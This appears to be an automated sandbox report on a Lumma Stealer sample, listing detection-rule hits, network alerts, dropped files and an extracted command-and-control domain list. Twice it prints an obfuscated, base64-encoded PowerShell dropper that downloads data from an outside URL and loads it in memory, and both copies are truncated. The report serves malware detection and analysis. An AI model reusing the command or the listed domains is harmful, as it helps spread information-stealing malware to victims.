Author: frack113: Data: Command: powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBm

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2444, TargetFilename: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\wlessfp1.dll

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass -Enc JABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAewAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwAKAAoAIAAgACAAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEMAcgBlAGEAdABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgAzADYAMAAuAG4AZQB0ACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBhAGkAZAB1AC4AYwBvAG0AIgApAC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAuAEMAbABvAHMAZQAoACkACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAKAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACAAPQAgACIAaAB0AHQAcABzADoALwAvAGsAbABpAHAAZABhAGoAZQBtAHUAYQAwAC4AcwBoAG8AcAAvAGkAbgB0AF8AYwBsAHAAXwBpAG4AdABlAHIALgB0AHgAdAAiAAoAIAAgACAAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAIAA9ACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACkACgAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAJABmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgAuAFcAcgBpAHQAZQAoACQAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmACwAIAAwACwAIAAkAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBm

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T15:03:12.812698+0100	2028371	3	Unknown Traffic	192.168.2.6	49719	104.21.8.82	443	TCP
2024-12-05T15:03:17.768425+0100	2028371	3	Unknown Traffic	192.168.2.6	49734	104.21.8.82	443	TCP
2024-12-05T15:03:25.153772+0100	2028371	3	Unknown Traffic	192.168.2.6	49752	104.21.8.82	443	TCP
2024-12-05T15:03:32.191938+0100	2028371	3	Unknown Traffic	192.168.2.6	49772	104.21.8.82	443	TCP
2024-12-05T15:03:38.588720+0100	2028371	3	Unknown Traffic	192.168.2.6	49787	104.21.8.82	443	TCP
2024-12-05T15:03:43.367988+0100	2028371	3	Unknown Traffic	192.168.2.6	49798	104.21.8.82	443	TCP
2024-12-05T15:03:50.583271+0100	2028371	3	Unknown Traffic	192.168.2.6	49817	104.21.8.82	443	TCP
2024-12-05T15:03:57.709841+0100	2028371	3	Unknown Traffic	192.168.2.6	49834	104.21.8.82	443	TCP
2024-12-05T15:04:02.771263+0100	2028371	3	Unknown Traffic	192.168.2.6	49848	104.21.71.43	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T15:03:16.163707+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49719	104.21.8.82	443	TCP
2024-12-05T15:03:23.669299+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49734	104.21.8.82	443	TCP
2024-12-05T15:04:01.159495+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49834	104.21.8.82	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T15:03:16.163707+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49719	104.21.8.82	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T15:03:23.669299+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49734	104.21.8.82	443	TCP

ET MALWARE Powershell commands sent B64 1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T15:04:03.403247+0100	2025010	1	A Network Trojan was detected	104.21.71.43	443	192.168.2.6	49848	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T15:03:30.853343+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49752	104.21.8.82	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://c3.digital-odyssey.shop/apiM	Avira URL Cloud: Label: malware
Source: https://c3.digital-odyssey.shop/api)0	Avira URL Cloud: Label: malware
Source: https://c3.digital-odyssey.shop/	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\vamfxsepn

Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Found malware configuration

Source: b6FArHy7yA.exe.6936.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["story-tense-faz.sbs", "disobey-curly.sbs", "frogs-severz.sbs", "motion-treesz.sbs", "occupy-blushi.sbs", "blade-govern.sbs", "leg-sate-boat.sbs", "powerful-avoids.sbs"], "Build id": "Lb9dkQ--Puaro"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImDbU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookExU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImNtUtilU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\IMHttpComm.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImABU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImDbU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookExU.dll	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImNtUtilU.dll	ReversingLabs: Detection: 15%

Multi AV Scanner detection for submitted file

Source: b6FArHy7yA.exe

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\SftTree_IX86_U_60.dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\vamfxsepn	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\SftTree_IX86_U_60.dll	Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 9.2.more.com.4b3fbe1.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.ImApp.exe.a633a58.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.ImApp.exe.a77ba58.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ImApp.exe.a75498b.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorer.exe.511cbe1.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorer.exe.50d7b14.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.ImApp.exe.a77c658.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.explorer.exe.511d7e1.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.ImApp.exe.a5ee98b.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.4b407e1.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.ImApp.exe.aef998b.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.ImApp.exe.a634658.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ImApp.exe.a79a658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.ImApp.exe.af3ea58.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.more.com.4afab14.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ImApp.exe.a799a58.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.ImApp.exe.af3f658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.ImApp.exe.a73698b.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3752141848.000000000A730000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3545059158.000000000AEF3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4150734794.000000000A74E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4563869306.00000000050D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3822071169.0000000004AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3972015789.000000000A5E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: b6FArHy7yA.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.8.82:443 -> 192.168.2.6:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.43:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.6:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.6:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.235.47.188:443 -> 192.168.2.6:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.43:443 -> 192.168.2.6:49906 version: TLS 1.2

Source: b6FArHy7yA.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: msvcr80.i386.pdb source: ImApp.exe, 00000007.00000003.3524271497.000000000BC01000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\IncrediABU.pdb@ source: ImApp.exe, 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmp, ImApp.exe, 00000008.00000002.3741932960.00000000020F1000.00000002.00000001.01000000.0000001C.sdmp, ImApp.exe, 0000000C.00000002.4140052037.0000000002101000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImDbU.pdb source: ImApp.exe, 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmp, ImApp.exe, 00000008.00000002.3757156194.000000001000C000.00000002.00000001.01000000.0000001B.sdmp, ImApp.exe, 0000000B.00000002.3973652961.000000001000C000.00000002.00000001.01000000.0000001B.sdmp, ImApp.exe, 0000000C.00000002.4151589785.000000001000C000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000005.00000002.4571654074.0000000007502000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb source: b6FArHy7yA.exe
Source:	Binary string: Q:\bin\ReleaseUnicode\ImWrappU.pdb source: ImApp.exe, 00000007.00000003.3521185856.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3546758748.000000006714B000.00000002.00000001.01000000.00000015.sdmp, ImApp.exe, 00000008.00000002.3757699473.000000006714B000.00000002.00000001.01000000.00000023.sdmp, ImApp.exe, 0000000B.00000002.3974195630.000000006714B000.00000002.00000001.01000000.00000023.sdmp, ImApp.exe, 0000000C.00000002.4151973295.000000006714B000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImLookExU.pdbx source: ImApp.exe, 00000007.00000003.3520301033.0000000000769000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3547163300.0000000067B08000.00000002.00000001.01000000.00000014.sdmp, ImApp.exe, 00000008.00000002.3758634364.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000B.00000002.3975156581.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImApp.exe, 0000000C.00000002.4152378089.0000000067B08000.00000002.00000001.01000000.00000022.sdmp, ImLookExU.dll.7.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb@E source: b6FArHy7yA.exe
Source:	Binary string: wntdll.pdbUGP source: ImApp.exe, 00000007.00000002.3545675528.000000000B4F3000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3545801729.000000000B850000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755861052.000000000B449000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3754716176.000000000AD37000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755288301.000000000B090000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000009.00000002.3821922187.0000000004748000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.3822446279.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3972891415.000000000ABF8000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3973165008.000000000AF50000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151108859.000000000AD54000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151287387.000000000B0B0000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4565308690.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4563349003.0000000004D20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\IncrediABU.pdb source: ImApp.exe, 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmp, ImApp.exe, 00000008.00000002.3741932960.00000000020F1000.00000002.00000001.01000000.0000001C.sdmp, ImApp.exe, 0000000B.00000002.3965748566.0000000000641000.00000002.00000001.01000000.0000001C.sdmp, ImApp.exe, 0000000C.00000002.4140052037.0000000002101000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: MFC80U.i386.pdb source: ImApp.exe, 00000007.00000002.3547723010.000000006ADE1000.00000020.00000001.01000000.0000000E.sdmp, ImApp.exe, 00000008.00000002.3759159459.0000000068D91000.00000020.00000001.01000000.0000001D.sdmp, ImApp.exe, 0000000B.00000002.3975883708.000000006CA01000.00000020.00000001.01000000.0000001D.sdmp, ImApp.exe, 0000000C.00000002.4152797541.000000006CA01000.00000020.00000001.01000000.0000001D.sdmp
Source:	Binary string: wntdll.pdb source: ImApp.exe, 00000007.00000002.3545675528.000000000B4F3000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000007.00000002.3545801729.000000000B850000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755861052.000000000B449000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3754716176.000000000AD37000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3755288301.000000000B090000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000009.00000002.3821922187.0000000004748000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000009.00000002.3822446279.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3972891415.000000000ABF8000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000B.00000002.3973165008.000000000AF50000.00000004.00000800.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151108859.000000000AD54000.00000004.00000020.00020000.00000000.sdmp, ImApp.exe, 0000000C.00000002.4151287387.000000000B0B0000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4565308690.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4563349003.0000000004D20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImUtilsU.pdb source: ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: Q:\bin\ReleaseUnicode\ImAppU.pdb source: ImApp.exe, 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmp, ImApp.exe, 00000007.00000000.3332608140.0000000000422000.00000002.00000001.01000000.00000009.sdmp, ImApp.exe, 00000008.00000000.3526042681.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 00000008.00000002.3741181670.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000B.00000000.3777136113.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000B.00000002.3965535371.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000C.00000002.4139253313.0000000000422000.00000002.00000001.01000000.00000017.sdmp, ImApp.exe, 0000000C.00000000.3777977779.0000000000422000.00000002.00000001.01000000.00000017.sdmp
